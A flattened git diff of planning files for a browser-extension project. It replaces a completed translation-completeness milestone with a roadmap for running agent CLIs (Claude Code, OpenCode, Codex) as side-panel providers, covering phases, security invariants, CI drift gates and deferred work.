agent kind, real USD for api kind), and an expandable per-tool-call breakdown. + 5. Every progress event received from the supervisor is written to `chrome.storage.session` under a per-delegation key BEFORE it fans out to UI subscribers, so a mid-run MV3 service worker eviction reloads exactly the delivered feed on re-open โ€” no ghost state, no fabricated events, no dropped events; the fifth `EXECUTION_MODES` entry works end-to-end across a forced SW eviction in a test fixture. + 6. While a delegation is active, the extension pings the bridge every 20 s over the existing WS heartbeat channel to keep the Chrome 116+ SW-lifetime extension applied; if 3 heartbeats are missed the side panel switches to a `daemon:disconnected` fallback that offers a doctor-relaunch button but does not attempt an in-extension restart; if `fsb-mcp-server serve` is not running when a delegated send is attempted, the side panel shows an "Agent offline" state with a deep-link to `fsb-mcp-server doctor` output and does not enqueue or optimistically show the message; if the daemon restarts while a delegation was mid-flight, the supervisor kills any surviving spawned CLI (never re-adopts) and reports `daemon_restart_lost_run` in the side panel so the user knows the run ended. +**Plans**: TBD +**UI hint**: yes + +### Phase 62: CI Drift-Smoke Gate & Doctor Extensions +**Goal**: An `fsb-mcp-server doctor` operator and CI both catch adapter drift the moment an agent CLI ships a new flag or event-shape โ€” with a machine-readable adapter compatibility matrix the extension consumes to render "supported / degraded / unsupported" states without hardcoding versions anywhere in extension source. +**Depends on**: Phase 60 (needs at least one adapter to run drift-smoke against; Phase 61 UX consumes the compatibility matrix for rendering degraded states) +**Requirements**: DRIFT-01, DRIFT-02, DRIFT-03, DRIFT-04 **Success Criteria** (what must be TRUE): - 1. The `lint:i18n` ignore-pattern for `src/app/pages/stats/**` in `showcase/angular/package.json` is removed, and `npm run lint:i18n` passes clean against the stats page's own templates. - 2. The dashboard page's `lint:i18n` exclusion is documented in-repo as a permanent, intentional architectural boundary (authenticated app surface, not marketing content) with an explicit rationale, not a bare ignore-pattern with no explanation. -**Plans**: 54-01 โœ… - -### Phase 55: CI Drift-Detection Gate -**Goal**: A new, permanent CI gate automatically fails the build the moment `messages.xlf`'s English source content changes without a matching update in one of the 5 translated locale files -- landing only once the tree is verified drift-free, so it passes clean on day one instead of immediately failing on residual debt. -**Depends on**: Phase 54 (must land on the clean baseline established by Phases 52-54) -**Requirements**: CI-02, CI-03, CI-04 + 1. A CI job runs each shipped adapter against a canned prompt fixture, asserts the known event-type sequence and the presence of required fields on `system/init` and `result`, and fails the build on unknown event types, missing required fields, or a `--version` outside the compatibility matrix โ€” with no live CLI required (the recorded JSONL fixtures from Phases 60/64/65 suffice), so contributors without every CLI installed can still land safe changes. + 2. `fsb-mcp-server doctor` gains a per-adapter section reporting: binary path, version, auth state (parseable where the CLI exposes it), shared-secret presence, and the current spawn-secret rotation age โ€” so an operator with only `doctor` output can identify which adapter failed and why. + 3. The diagnostics ring buffer classifies drift events as `agent_protocol_drift` with adapter id, expected vs observed fields, and rate-limits duplicate entries at the existing 1-per-10s bucket so a chatty drift does not blow the buffer. + 4. `doctor` emits a machine-readable adapter compatibility matrix that both the CI drift-smoke job and the extension can read; the extension consumes the matrix at boot (and on doctor refresh) to render `supported` / `degraded` / `unsupported` badges in the Providers panel โ€” and never hardcodes CLI versions in extension source. +**Plans**: TBD + +### Phase 63: Native-Messaging Host +**Goal**: When the user has installed the optional native-messaging host, the "Agent offline" state auto-attempts to wake `fsb-mcp-server serve` before falling back to the Phase 61 doctor deep-link โ€” closing the UX cliff introduced by the extension having no `nativeMessaging` permission through Phases 57-62. All spawn authority stays inside the serve daemon behind Phase 59's CHAN gates; the native host itself never spawns agent CLIs. +**Depends on**: Phase 61 ("Agent offline โ†’ doctor" state must already exist for the wake to have a fallback), Phase 62 (doctor extensions already report daemon state) +**Requirements**: NATIVE-01, NATIVE-02, NATIVE-03, NATIVE-04 **Success Criteria** (what must be TRUE): - 1. `verify-translation-drift.mjs` exists, follows the zero-dependency style of the existing `verify-locale-sync.mjs`/`verify-hreflang.mjs` scripts, and fails the build when any trans-unit's English `` text changes without a corresponding update in one of the 5 translated locale files -- diffing per trans-unit `id`, never whole-file or line-count. - 2. The gate is back-tested against this repo's own git history (known-clean pure-churn commits plus commit `6d3ad363` itself) and demonstrably stays silent on clean churn while firing on `6d3ad363`-shaped drift, before being wired hard-fail into CI. - 3. The gate's target-locale list is read dynamically from the existing locale registry at runtime, not hardcoded as a literal list in the script. -**Plans**: 55-01 โœ… - -### Phase 56: Locale-Cookie Redirect Fix (WARNING-02) -**Goal**: A returning visitor whose picker-set `fsb-locale` cookie names a valid, non-default supported locale is correctly redirected to that locale's subpath from the bare-`/` route, instead of the cookie being ignored in favor of the EN prerender. -**Depends on**: Nothing (fully independent of Phases 52-55; zero shared surface, could be parallelized) -**Requirements**: ROUTE-01, ROUTE-02 + 1. `fsb-mcp-server install --native-host` writes the platform-appropriate native-messaging host manifest โ€” macOS `~/Library/Application Support/Google/Chrome/NativeMessagingHosts/`, Linux `~/.config/google-chrome/NativeMessagingHosts/`, Windows registry `HKCU\Software\Google\Chrome\NativeMessagingHosts\` โ€” allowing the FSB extension id as the sole caller, and installs a host binary that can wake the daemon on demand. + 2. The extension's manifest gains a single additive `nativeMessaging` permission entry (no other permission changes); at boot the extension detects native-host presence, and when the host is installed, an "Agent offline" state auto-attempts a wake before showing the doctor deep-link โ€” a user with the host installed sees the delegation come alive on demand instead of the manual `serve` prompt. + 3. The native host itself does NOT spawn agents; it only starts `fsb-mcp-server serve` (or attaches to a running one) and exits after handoff โ€” all spawn authority remains inside the serve daemon behind the Phase 59 CHAN gates (Origin allowlist, shared secret, flag allowlist, argv-only) and no CHAN requirement is relaxed to accommodate the wake path. + 4. `fsb-mcp-server uninstall --native-host` cleanly removes the manifest, and `doctor` reports native-host install state including manifest path, allowlist mismatches, and host-binary reachability so an operator can debug wake failures without shell-level inspection. +**Plans**: TBD + +### Phase 64: OpenCode Adapter +**Goal**: The `AgentProviderAdapter` contract proves it accommodates a second CLI family โ€” one that supports both cold spawn AND attach-to-running-server (`opencode serve` + `opencode run --attach`) โ€” without any Phase 60 rewrite; OpenCode joins the Providers panel with a pinned agent definition and CI-covered event schema so the drift gate covers it from day one. +**Depends on**: Phase 60 (contract), Phase 62 (drift-smoke gate must accept the new adapter fixture) +**Requirements**: MULTI-01, MULTI-02, MULTI-03 **Success Criteria** (what must be TRUE): - 1. A request to `/` carrying an `fsb-locale` cookie set to a non-default supported locale (es, de, ja, zh-CN, or zh-TW) redirects to that locale's subpath rather than serving the EN prerender. - 2. A request to `/` carrying an `fsb-locale` cookie set to `en` (the default) still falls through correctly to the EN prerender without redirecting to a 404ing `/en/` path. -**Plans**: 56-01 โœ… + 1. An OpenCode adapter (`mcp/src/agent-providers/opencode.ts`) implements the `AgentProviderAdapter` contract with `caps.serverMode = true`; the supervisor either spawns `opencode run` cold OR attaches to a running `opencode serve` per the adapter's `buildSpawn` output โ€” and the Phase 60 contract handles both without any hardcoded spawn-vs-attach branch outside the adapter. + 2. The OpenCode adapter ships a pinned agent definition (equivalent to Claude Code's `--agents fsb`) using OpenCode's `agent create` / `agents` config surface, keyed to a version pinned during phase spike, so tool boundaries and system-prompt intent are identical across the two adapters. + 3. A recorded OpenCode JSONL fixture under `tests/fixtures/agent-streams/opencode-/` proves the adapter's event schema in CI without a live CLI; the Phase 62 drift-smoke job includes OpenCode from the first commit of this phase, and unknown event types raise `agent_protocol_drift` with the adapter id `opencode`. + 4. A user with OpenCode installed can pick "OpenCode" as their provider in the side panel and observe the delegation UX (streaming feed, kill switch that reclaims tabs, post-run summary, SW-eviction survival) work identically to Claude Code โ€” with no adapter-specific side-panel branches. +**Plans**: TBD + +### Phase 65: Codex Adapter +**Goal**: Task-mode delegation coverage extends to OpenAI Codex with correct auth-state disclosure (ChatGPT OAuth vs API key vs unauthenticated) so users know which billing bucket a run will hit before starting; `caps.chatMode: false` across all v0.9.91 adapters confirms task-mode-only scope for the milestone. +**Depends on**: Phase 60 (contract), Phase 62 (drift-smoke gate) +**Requirements**: MULTI-04, MULTI-05, MULTI-06 +**Success Criteria** (what must be TRUE): + 1. A Codex adapter (`mcp/src/agent-providers/codex.ts`) implements the `AgentProviderAdapter` contract, invoking `codex exec --json` with the verified 0.142.5 flag set (`--ephemeral` + `--ignore-user-config` for hermeticity; the deprecated `--full-auto` is NEVER referenced in adapter source, protected by the CHAN-07 grep gate against `--auto`). + 2. The Codex adapter's `detect()` correctly identifies auth via ChatGPT OAuth, API key, or unauthenticated and surfaces the state in the Providers panel so the user knows which billing bucket a run will hit โ€” with copy that reflects the specific detected auth state ("included in your ChatGPT Plus subscription" vs "billed to your API key" vs "sign in to codex first"). + 3. A recorded Codex JSONL fixture pins the event schema in CI (under `tests/fixtures/agent-streams/codex-0.142.5/` or the phase-pinned version); the Phase 62 drift-smoke job includes Codex from the first commit of this phase, and the adapter's `caps()` correctly reports `chatMode: false` โ€” matching the milestone-wide task-mode-only posture. + 4. A user with Codex installed can pick "Codex" as their provider and observe the same delegation UX as Claude Code and OpenCode with the correct per-auth-state cost copy, and the Providers panel's `agent`-kind cost row shows tokens / turns / duration + the auth-state-appropriate subscription caption rather than a fabricated dollar amount. +**Plans**: TBD ## Progress **Execution Order:** -Phases execute in numeric order: 52 โ†’ 53 โ†’ 54 โ†’ 55 โ†’ 56 +Phases execute in numeric order: 57 โ†’ 58 โ†’ 59 โ†’ 60 โ†’ 61 โ†’ 62 โ†’ 63 โ†’ 64 โ†’ 65 +Security-first hard rule: Phase 59 is code-green before Phase 60 spawn code lands, regardless of Phase 57/58 progress. | Phase | Plans Complete | Status | Completed | |-------|-----------------|--------|-----------| -| 52. Full-Page Translation Completeness Audit | 1/1 | Complete | 2026-07-08 | -| 53. Trans-Unit Resync, Stats Translation & Transcreation Review | 3/3 | Complete | 2026-07-09 | -| 54. Stats Lint Gate Flip & Dashboard Boundary Documentation | 1/1 | Complete | 2026-07-09 | -| 55. CI Drift-Detection Gate | 1/1 | Complete | 2026-07-09 | -| 56. Locale-Cookie Redirect Fix (WARNING-02) | 1/1 | Complete | 2026-07-09 | +| 57. Agent Identity Capture | 0/0 | Not started | โ€” | +| 58. Providers Panel | 0/0 | Not started | โ€” | +| 59. Reverse-Request Channel & Security Foundation | 0/0 | Not started | โ€” | +| 60. Adapter Contract & Claude Code MVP | 0/0 | Not started | โ€” | +| 61. Delegation UX & SW-Eviction Persistence | 0/0 | Not started | โ€” | +| 62. CI Drift-Smoke Gate & Doctor Extensions | 0/0 | Not started | โ€” | +| 63. Native-Messaging Host | 0/0 | Not started | โ€” | +| 64. OpenCode Adapter | 0/0 | Not started | โ€” | +| 65. Codex Adapter | 0/0 | Not started | โ€” | ## Completed Milestones +
+v1.2.0 Showcase i18n Completeness โ€” Phases 52-56, SHIPPED 2026-07-09 + +**Milestone Goal:** Close the translation gap that reopened after v0.9.63 shipped -- full, drift-free coverage across all six supported locales (en, es, de, ja, zh-CN, zh-TW) for every showcase marketing page plus the stats page, the long-deferred locale-cookie redirect bug, and a CI gate that catches future drift automatically. + +**Phase summary:** + +| Phase | Name | Plans | Status | +|-------|------|-------|--------| +| 52 | Full-Page Translation Completeness Audit | 1/1 | Complete | +| 53 | Trans-Unit Resync, Stats Translation & Transcreation Review | 3/3 | Complete; VISUAL-01 human_needed | +| 54 | Stats Lint Gate Flip & Dashboard Boundary Documentation | 1/1 | Complete | +| 55 | CI Drift-Detection Gate | 1/1 | Complete | +| 56 | Locale-Cookie Redirect Fix (WARNING-02) | 1/1 | Complete | + +Archive files: + +- `.planning/milestones/v1.2.0-ROADMAP.md` +- `.planning/milestones/v1.2.0-REQUIREMENTS.md` +- `.planning/v1.2.0-MILESTONE-AUDIT.md` + +Outcome: 13/13 v1.2.0 requirements satisfied; audit passed. Phase 52's audit established the true 5-drifted/54-orphaned baseline, superseding the milestone brief's original "247 trans-units" estimate. Phase 53 resynced the 5 drifted units + retired the stats-274 JSON artifacts + transcreated the 19 hero/CTA strings across 5 non-en locales. Phase 54 flipped `lint:i18n` to cover stats and documented the dashboard exclusion as permanent. Phase 55 landed `verify-translation-drift.mjs` as a hard-fail CI gate on a clean drift-free baseline. Phase 56 fixed WARNING-02's picker-cookie short-circuit on the bare-`/` Accept-Language redirect. VISUAL-01 browser UAT remains `human_needed` (`53-VISUAL-QA.md`). + +
+
v1.1.0 T1 App Execution Expansion โ€” Phases 44-51, SHIPPED 2026-06-30 @@ -297,10 +398,11 @@ Known deferred closeout evidence: 11 human-gated Chrome MV3/UAT verification ite ## Carry-Forward Candidates -- **Consolidated Chrome MV3 UAT debt:** Run and capture archived v0.10/v0.11/v0.12 + v0.9.99 (UAT-27/29/30/31/32-01) browser evidence if release policy requires post-close proof. Does NOT block v1.2.0. +- **v0.9.91 v2 deferred (see REQUIREMENTS.md):** CHAT-FUTURE-01/02 (chat-mode continuity via `--resume` / `codex resume` / `opencode --continue` + per-thread cwd pinning); GEMINI-FUTURE-01 (Gemini CLI adapter after live `--help` capture + JSONL schema pinning); ACP-FUTURE-01 (`@zed-industries/agent-client-protocol` unification once โ‰ฅ2 non-Claude adapters have shipped); REMOTE-FUTURE-01 (remote/mobile delegation surfaces โ€” v0.9.91 is explicitly localhost-only). +- **Consolidated Chrome MV3 UAT debt:** Run and capture archived v0.10/v0.11/v0.12 + v0.9.99 (UAT-27/29/30/31/32-01) browser evidence if release policy requires post-close proof. Does NOT block v0.9.91. +- **v1.2.0 v2 deferred:** QA-01 (native-speaker/bilingual QA pass), I18N-FUTURE-01 (migrate stats page off ad hoc JSON mechanism into main XLIFF pipeline), I18N-FUTURE-02 (full automated per-locale visual regression pipeline), I18N-FUTURE-03 (translation-freshness/"last synced" reporting surface). - **v2 deferred capability families (acknowledged, out of v1.0.0/v1.1.0):** GAPI-01 (gapi-bridge handler family for Google Workspace); CLOUD-01 (cloud-console Pattern-D ports); UATX-01 (per-app live guarded-write UAT closeout). -- **v1.2.0 v2 deferred (see REQUIREMENTS.md):** QA-01 (native-speaker/bilingual QA pass), I18N-FUTURE-01 (migrate stats page off ad hoc JSON mechanism into main XLIFF pipeline), I18N-FUTURE-02 (full automated per-locale visual regression pipeline), I18N-FUTURE-03 (translation-freshness/"last synced" reporting surface). -- **Delegation primitive:** Parked from v0.10.0; re-scope as either a Lattice-owned primitive or an FSB-only consumer of Lattice receipt + tripwire surfaces. +- **Delegation primitive (Lattice-owned):** Parked from v0.10.0; re-scope as either a Lattice-owned primitive or an FSB-only consumer of Lattice receipt + tripwire surfaces after v0.9.91 stabilizes the adapter contract. ## Backlog diff --git a/.planning/STATE.md b/.planning/STATE.md index 270134963..7a91396e9 100644 --- a/.planning/STATE.md +++ b/.planning/STATE.md @@ -3,90 +3,112 @@ gsd_state_version: 1.0 milestone: v0.9.91 milestone_name: MCP Clients as Providers status: planning -last_updated: "2026-07-10T18:23:53.880Z" -last_activity: 2026-07-10 +last_updated: "2026-07-11T00:00:00.000Z" +last_activity: 2026-07-11 progress: - total_phases: 0 + total_phases: 9 completed_phases: 0 total_plans: 0 completed_plans: 0 percent: 0 --- -*Note: the `total_phases`/`completed_phases` counts above are scoped to the active v1.2.0 milestone (Phases 52-56) only. Some GSD tooling (`roadmap.analyze`, `phase.complete`) reports a noisy 14-phase/9-complete count and misidentifies "999.1" (an unrelated Backlog item) as the next phase -- both are artifacts of that tooling scanning the whole ROADMAP.md file, including the collapsed `## Completed Milestones` archive and `## Backlog` sections, rather than just the active milestone's phases. Phases 44-51 are archived v1.1.0 work; 999.1 is unrelated backlog. Treat this file's own numbers as authoritative for v1.2.0 progress.* +*Note: the `total_phases`/`completed_phases` counts above are scoped to the active v0.9.91 milestone (Phases 57-65) only. Some GSD tooling (`roadmap.analyze`, `phase.complete`) reports a noisy multi-phase count including collapsed `## Completed Milestones` archive entries and `## Backlog` sections โ€” treat this file's own numbers as authoritative for v0.9.91 progress.* # Project State ## Project Reference -See: .planning/PROJECT.md (v1.2.0 Showcase i18n Completeness framing) -See: .planning/ROADMAP.md (v1.2.0 active, Phases 52-56; v1.1.0/v1.0.0/v0.9.99/etc. archived and collapsed) -See: .planning/REQUIREMENTS.md (13 v1 requirements, mapped to Phases 52-56, 0/13 complete) -See: .planning/research/SUMMARY.md (phase sequencing rationale, confirmed 5-drifted/54-orphaned baseline) -See: .planning/milestones/v1.1.0-ROADMAP.md, .planning/milestones/v1.1.0-REQUIREMENTS.md, .planning/milestones/v1.1.0-MILESTONE-AUDIT.md (archived T1 App Execution Expansion milestone) +See: .planning/PROJECT.md (v0.9.91 MCP Clients as Providers โ€” Current Milestone section, Key context bullets) +See: .planning/ROADMAP.md (v0.9.91 active, Phases 57-65; v1.2.0 / v1.1.0 / v1.0.0 / v0.9.99 / etc. archived and collapsed) +See: .planning/REQUIREMENTS.md (51 v1 requirements across 9 categories: IDENT, PROV, CHAN, ADAPT, CLAUDE, UX, LIFE, DRIFT, NATIVE, MULTI โ€” all mapped to Phases 57-65, 0/51 complete) +See: .planning/research/SUMMARY.md (converged research summary; suggested phase structure; HIGH confidence) +See: .planning/research/PITFALLS.md (16 pitfalls with phase assignments; security section verified against 2025-2026 CVE class incidents) +See: .planning/research/ARCHITECTURE.md (file:line integration seams; brownfield mapping onto existing FSB architecture) +See: .planning/milestones/v1.2.0-ROADMAP.md, .planning/milestones/v1.2.0-REQUIREMENTS.md, .planning/v1.2.0-MILESTONE-AUDIT.md (archived Showcase i18n Completeness milestone) -**Core value:** Reliable single-attempt execution -- the AI decides correctly, the mechanics execute precisely. v1.2.0 does not touch the automation/T1 catalog surface; it closes a reopened i18n completeness gap on the showcase marketing site. -**Current focus:** v1.2.0 milestone complete โ€” ready for audit/complete +**Core value:** Reliable single-attempt execution โ€” the AI decides correctly, the mechanics execute precisely. v0.9.91 does not touch the DOM/automation single-attempt property; it extends the surface so installed agent CLIs (Claude Code first, then OpenCode + Codex) become first-class side-panel providers that drive the same live browser through FSB's own MCP tools. +**Current focus:** v0.9.91 milestone โ€” planning Phase 57 (Agent Identity Capture) as the first executable phase. ## Current Position -Phase: Not started (defining requirements) +Phase: 57 (Agent Identity Capture) โ€” ready for `/gsd-plan-phase 57` Plan: โ€” -Status: Defining requirements -Last activity: 2026-07-10 โ€” Milestone v0.9.91 started +Status: Planning first phase +Last activity: 2026-07-11 โ€” Milestone v0.9.91 roadmap defined, 51 requirements mapped, phase structure approved -## Roadmap At A Glance (v1.2.0, Phases 52-56) +## Roadmap At A Glance (v0.9.91, Phases 57-65) | Phase | Name | Requirements | Status | |-------|------|--------------|--------| -| 52 | Full-Page Translation Completeness Audit | AUDIT-01, AUDIT-02 | Complete (2026-07-08) | -| 53 | Trans-Unit Resync, Stats Translation & Transcreation Review | RESYNC-01, RESYNC-02, RESYNC-03, VISUAL-01 | Complete (2026-07-09; VISUAL-01 human_needed deferred) | -| 54 | Stats Lint Gate Flip & Dashboard Boundary Documentation | CI-01, CI-05 | Complete (2026-07-09) | -| 55 | CI Drift-Detection Gate | CI-02, CI-03, CI-04 | Complete (2026-07-09) | -| 56 | Locale-Cookie Redirect Fix (WARNING-02) | ROUTE-01, ROUTE-02 | Complete (2026-07-09) | - -Coverage: 13/13 v1.2.0 requirements mapped, 0 orphaned. Dependency chain: 52 -> 53 -> 54 -> 55 (hard sequential dependency: each gate must land on the clean baseline the prior phase verified). Phase 56 is fully independent of 52-55 and could run in parallel if desired, but executes last in numeric order. - -## Hard Invariants (v1.2.0) - -- Supported locale list stays fixed at en (source) + es/de/ja/zh-CN/zh-TW -- not up for debate this milestone. -- No commercial TMS adoption (Lokalise, Crowdin, Smartling, Phrase, doloc.io) -- explicit no-paid-SaaS constraint. -- No `ng-extract-i18n-merge` adoption this milestone -- legitimate future option, not required to satisfy the CI-gate requirement. -- Dashboard page translation stays explicitly out of scope (authenticated app surface, not marketing content) -- Phase 54 documents this as permanent, not deferred. -- The new drift gate (Phase 55) must diff `` text per trans-unit `id`, never whole-file/line-count, to avoid the false-positive/bypass-habit failure mode that let WARNING-02 (Phase 56) sit unaddressed for 6+ milestones. -- The drift gate must land only after Phases 52-54 verify a clean, drift-free baseline -- wiring it earlier guarantees either an immediately-red CI or a gate built loose enough to miss real drift. +| 57 | Agent Identity Capture | IDENT-01, IDENT-02, IDENT-03, IDENT-04, IDENT-05 | Not started | +| 58 | Providers Panel | PROV-01, PROV-02, PROV-03, PROV-04, PROV-05, PROV-06 | Not started | +| 59 | Reverse-Request Channel & Security Foundation | CHAN-01, CHAN-02, CHAN-03, CHAN-04, CHAN-05, CHAN-06, CHAN-07 | Not started (SECURITY-CRITICAL, load-bearing) | +| 60 | Adapter Contract & Claude Code MVP | ADAPT-01..05, CLAUDE-01..04 | Not started | +| 61 | Delegation UX & SW-Eviction Persistence | UX-01..06, LIFE-01..04 | Not started | +| 62 | CI Drift-Smoke Gate & Doctor Extensions | DRIFT-01, DRIFT-02, DRIFT-03, DRIFT-04 | Not started | +| 63 | Native-Messaging Host | NATIVE-01, NATIVE-02, NATIVE-03, NATIVE-04 | Not started | +| 64 | OpenCode Adapter | MULTI-01, MULTI-02, MULTI-03 | Not started | +| 65 | Codex Adapter | MULTI-04, MULTI-05, MULTI-06 | Not started | + +Coverage: 51/51 v0.9.91 requirements mapped, 0 orphaned. Dependency chain: 57 (identity data) โ†’ 58 (provider selection UI reads it) โ†’ 59 (security foundation before any spawn code) โ†’ 60 (adapter contract needs the channel) โ†’ 61 (UX/lifecycle needs the adapter) โ†’ 62 (drift gate needs something to check) โ†’ 63 (native-host closes the "agent offline" cliff after that state exists) โ†’ 64 โ†’ 65 (contract must be stable before adapter breadth). Security-first hard rule: Phase 59 is code-green before Phase 60 spawn code lands. + +## Hard Invariants (v0.9.91) + +- **Security-first hard rule.** All CHAN-01..CHAN-07 land in Phase 59 together, BEFORE any spawn code exists in Phase 60. Not deferrable to a "hardening" phase. +- **INV-01 (byte-stable MCP wire).** Every wire addition is additive: new frame types (`ext:request` / `ext:response` / `ext:event`) + optional payload fields only. No existing `MCPMessageType` value or tool schema changes across the entire milestone; a byte-freeze regression test proves this in every wire-touching phase. +- **INV-03 (BYOK provider parity).** `universal-provider.js` continues to see only the existing 7 `api`-kind provider values across the whole milestone; `agent`-kind values never leak into request-builders. +- **INV-04 (MV3 SW-survivability).** The `setTimeout`-chained iterator pattern is preserved; delegation lifecycle persists to `chrome.storage.session` per progress event and heartbeats WS every 20 s. +- **INV-05 (no resurrection of sunset modules).** `extension/agents/*` background-agents surface (retired in v0.9.45rc1) stays frozen; the new provider surface is MCP-client identity, a different concept. +- **Task-mode only for v0.9.91.** Every adapter's `caps.chatMode: false`. Chat-mode continuity via `--resume` / `codex resume` / `opencode --continue` is v2 scope (CHAT-FUTURE-01/02). +- **No `--dangerously-skip-permissions` / `--yolo` / `--auto` in the spawn path.** Anywhere. Ever. CHAN-07 makes this a permanent invariant enforced by a CI grep gate; the Codex adapter (Phase 65) explicitly must NOT reference `--full-auto`. +- **No `@anthropic-ai/claude-agent-sdk` embedded in FSB.** Anthropic banned third-party products from using consumer subscription auth via the SDK (enforcement Apr 4 2026). Shell to the user's installed `claude` binary only. +- **No native-messaging permission through Phases 57-62.** The extension has NO way to wake the daemon in those phases; delegation UX must ship an honest "Agent offline โ†’ `doctor`" state (LIFE-03). Phase 63 (NATIVE) adds the optional wake-host later without relaxing any CHAN rule โ€” the host itself never spawns agent CLIs (NATIVE-03). +- **Source-pin tripwire discipline.** Test suite pins exact token counts + substrings on extension source. Every extension-touching commit updates paired tripwires in the same commit; the full suite runs green from commit 1 of every phase. +- **Same-context dispatch in the MV3 SW.** Delegation dispatcher integrates through `globalThis.fsbDispatchInternalMessage` / the Phase 225-01 bus, NOT `chrome.runtime.sendMessage` (auto-memory: sendMessage never loops back in-SW). +- **Adapter breadth: Claude Code + OpenCode + Codex; NO Gemini.** GEMINI-FUTURE-01 defers Gemini until a live `--help` capture + JSONL schema pinning are done. ## Accumulated Context ### Decisions -Full decision log for prior milestones (v0.9.99 Phase 26-34, v1.0.0, v1.1.0 T1/Wall/consent decisions) lives in PROJECT.md and the archived `.planning/milestones/v1.0.0-*` / `.planning/milestones/v1.1.0-*` files. Those decisions concern the T1 capability-catalog surface and have zero shared surface with v1.2.0's showcase-i18n work; not repeated here to keep this file a digest. +Full decision log for prior milestones (v0.9.99 Phase 26-34, v1.0.0, v1.1.0, v1.2.0) lives in PROJECT.md, ROADMAP.md's `## Completed Milestones` section, and the archived `.planning/milestones/*` files. Those decisions concern the T1 capability-catalog surface and the showcase-i18n surface; they have zero shared surface with v0.9.91's provider/delegation work and are not repeated here to keep this file a digest. -v1.2.0-specific decisions so far: +v0.9.91-specific decisions so far: -- [Roadmap]: Phase ordering follows the audit -> resync -> gate-flip -> drift-gate -> cookie-fix chain all 4 independent researchers converged on. The drift gate (Phase 55) is sequenced after Phases 52-54, not before, so it lands clean rather than immediately red. -- [Roadmap]: VISUAL-01 (DE/CJK visual spot-check) is folded into Phase 53's success criteria rather than given its own phase, since it has a hard content dependency on RESYNC-01/02 landing first (needs final translated copy to visually check) and is small enough not to warrant a standalone phase. -- [Roadmap]: The milestone brief's original "247 trans-units changed" framing is explicitly corrected in ROADMAP.md -- research confirmed only 5 of 247 touched blocks have real `` drift; the true count is whatever Phase 52's audit finds, not a number fixed in advance. -- [Phase 52]: Corrected the plan's stated 6 non-shellless routes to the verified-correct 8 (sitemaps and legal also render the shared shell); derived dynamically per-route from ROUTE_TABLE.shellless rather than a hardcoded route-name list -- [Phase 52]: traceStats274's idDriftFromTemplate implemented exactly as specified (produces 13/locale); reported as explicitly unreconciled against 52-RESEARCH.md Open Questions #3's disputed 7/9/13 candidates rather than silently picking one +- [Roadmap]: Phase structure follows the research SUMMARY.md's dependency chain (identity โ†’ provider UI โ†’ security โ†’ adapter contract + Claude MVP โ†’ UX/lifecycle โ†’ drift โ†’ native โ†’ OpenCode โ†’ Codex). ADAPT and CLAUDE combined in one phase (60) because the Claude Code MVP is the contract's first real implementation; UX and LIFE combined in one phase (61) because the UX affordances (kill switch reclaims tabs, offline state, take-control) are inseparable from the persistence semantics that make them SW-eviction-safe. +- [Roadmap]: MULTI split across two phases (64 = OpenCode, 65 = Codex) rather than combined into one, because each adapter has its own version-pinning spike, fixture capture, and auth-detection story โ€” the incremental phase cost is small versus the risk of one adapter's drift blocking the other's ship. +- [Roadmap]: NATIVE placed at Phase 63 (after DRIFT) rather than immediately after UX, so the doctor extensions from DRIFT (compatibility matrix, per-adapter section) exist before the native host reports its own state; NATIVE cannot ship BEFORE UX because it augments UX's "Agent offline" state. +- [Roadmap]: Security-first hard rule is enforced by phase ordering AND by the CHAN-07 CI grep gate landing in Phase 59; the gate protects future patches (including Phase 65's Codex adapter, which must NEVER reference `--full-auto`). +- [Roadmap]: DRIFT is INCLUDED in v0.9.91 (Phase 62) per user confirmation; the drift gate is scoped to Claude Code from its first commit and extended per-adapter as OpenCode and Codex land in Phases 64/65. +- [Roadmap]: NATIVE is INCLUDED in v0.9.91 (Phase 63) per user confirmation; the additive `nativeMessaging` permission is the only permission change in the milestone. +- [Roadmap]: Every `agent`-kind cost row displays "included in your subscription" + real token/turn/duration counts โ€” never a fabricated dollar amount (PROV-06). The Codex adapter's per-auth-state copy (Phase 65) is the strictest test of this discipline. +- [Roadmap]: The reverse-request channel reuses the existing `ws://localhost:7225` bridge; no new port is added (SUMMARY.md architecture decision; a separate supervisor port is a documented fallback if hub-forwarding proves fragile during Phase 59 implementation). ### Pending Todos -None yet. +None yet โ€” planning is at the roadmap stage; per-phase todos will populate as `/gsd-plan-phase` runs for each phase. ### Blockers/Concerns -None yet. Two open judgment calls flagged by research to resolve during Phase 52/55 planning (not blockers, but decisions to make explicitly rather than let default-implicitly): +None yet. Two open judgment calls flagged by research to resolve during Phase 57 / Phase 59 planning (not blockers, but decisions to make explicitly rather than let default-implicitly): -- Whether "orphaned" trans-unit IDs (present in a locale file but absent from current `messages.xlf`) should be hard-fail or warning-only in the Phase 55 drift gate. -- Which canonical staleness-tracking mechanism to use (source-hash sidecar vs. XLIFF `state=` attribute vs. the drift gate's own commit-to-commit diff) -- research recommends deciding this explicitly during Phase 55, not implicitly. +- **Phase 57 planning:** Inventory delivery trigger โ€” on-extension-connect push vs piggyback on `agent:register` vs on-demand `ext:request clients.detect`. SUMMARY.md flagged this as a "decide with payload-size measurements" call; the decision should be recorded in the Phase 57 plan. +- **Phase 59 planning:** Shared-secret provisioning UX โ€” TOFU pairing on first `serve` connect vs a user-visible pairing code from `fsb-mcp-server pair`. Research recommends deciding explicitly in Phase 59 planning; both paths meet the CHAN-04 requirement. + +Three additional Phase-60-time verifications flagged from research (SUMMARY.md Confidence Assessment): + +- Whether Claude Code's `--agent fsb` selects an agent defined inline via `--agents` โ€” 5-minute spike in Phase 60; fallback is `--append-system-prompt-file`. +- `--tools ""` Windows quoting + `.cmd` shim resolution (Node CVE-2024-27980 EINVAL behavior). +- OpenCode HTTP-server-vs-spawn shape (Phase 64) โ€” `opencode serve` + `run --attach` may be a cheaper reuse path than cold spawn. ## Deferred Items -Items acknowledged and carried forward from previous milestone closes (Chrome MV3/manual UAT evidence gaps, not fabricated passes; procedures archived under `.planning/milestones/*/` and `.planning/phases/*/`). None of this debt blocks v1.2.0, which does not touch the automation/T1 surface. +Items acknowledged and carried forward from previous milestone closes (Chrome MV3/manual UAT evidence gaps, not fabricated passes; procedures archived under `.planning/milestones/*/` and `.planning/phases/*/`). None of this debt blocks v0.9.91. | Category | Item | Status | Deferred At | |----------|------|--------|-------------| +| uat_gap | v1.2.0 Phase 53 / 53-VISUAL-QA.md (VISUAL-01 live DE/CJK browser visual spot-check) | human_needed | v1.2.0 Phase 53 | | uat_gap | Phase 27 / 27-HUMAN-UAT.md (live FETCH-05 logged-in-shape UAT-27-01 + contrast + origin-pin) | human_needed; 3 scenarios | v0.9.99 Phase 27 | | uat_gap | Phase 